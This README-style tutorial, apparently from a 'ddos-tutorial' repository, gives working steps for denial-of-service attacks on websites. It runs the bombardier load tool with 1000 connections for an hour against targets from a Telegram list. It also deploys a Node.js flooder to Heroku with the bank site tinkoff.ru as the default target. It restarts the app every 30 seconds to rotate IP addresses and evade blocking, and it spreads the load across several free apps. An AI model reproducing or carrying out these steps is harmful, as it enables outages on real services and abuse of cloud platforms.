Method 1. Local machine way

1. Install VPN if you're in Ukraine. I'm using (https://www.hotspotshield.com/);
2. Install docker https://docs.docker.com/get-docker/;
3. Choose one of the sites listed here: https://t.me/itarmyofukraine2022/5;
4. Run docker run -ti --rm alpine/bombardier -c 1000 -d 3600s -l <your url>;

Method 2. Cloud way (with node.js example) (linux/mac)

1. Create account on https://www.heroku.com/
2. (Optional) Add billing information(no payment will happen!). This will give more free credits to your account
3. Create new application
4. Install heroku cli: https://devcenter.heroku.com/articles/heroku-cli#install-the-heroku-cli
5. Edit reload.sh file and insert your app name there.
6. Deploy there code from this repo:

$ heroku login
$ cd ddos-tutorial
$ heroku git:remote -a <<your-app-name>>
$ git add .
$ git commit -am "make it better"
$ git push heroku master

6. Run in terminal sh reload.sh - this script will reload heroku app each 30s, so you will get new IP address each 30 seconds.
7. In order to change destination, please change in the code (index.js file) https://www.tinkoff.ru/ to any other destination and redeploy app:

$ git add .
$ git commit -m "make it better"
$ git push heroku master

If you want to see logs from your app:

$ heroku logs -t -a <<your-app-name>>

Multi app DDOS

If you want, you can create more than 1 application with free account in order to generate more load. To do so, you need:

1. Create one more application in heroku UI
2. Push code to newly created app:

$ git remote rename heroku heroku-<<n>>  ## This command will rename current origin under name `heroku` to `heroku-<<n>>. Where n is number of the previous app
$ heroku git:remote -a <<your-app-name-2>> ## This command set new app origin to name `heroku`.
$ git push heroku master  ## This now will push your code to new app

Notice that first app will be available for pushes under name heroku-<<n>> and newly created under heroku. As well heroku-<<n>> should be uniq per origin, so n should be incremental.

Push example for 2 apps:

$ git push heroku-1 master ## Pushes new code to <<your-app-name>>
$ git push heroku master ## Pushes new code to <<your-app-name-2>>

3. Change reload.sh file and add after line heroku restart -a <<your-app-name>> similar line with heroku restart -a <<your-app-name-2>>
4. Restart sh script.

You can repeat this untill you will reach maximum amount of dynos per account. After, you will need to pay in order to get more apps.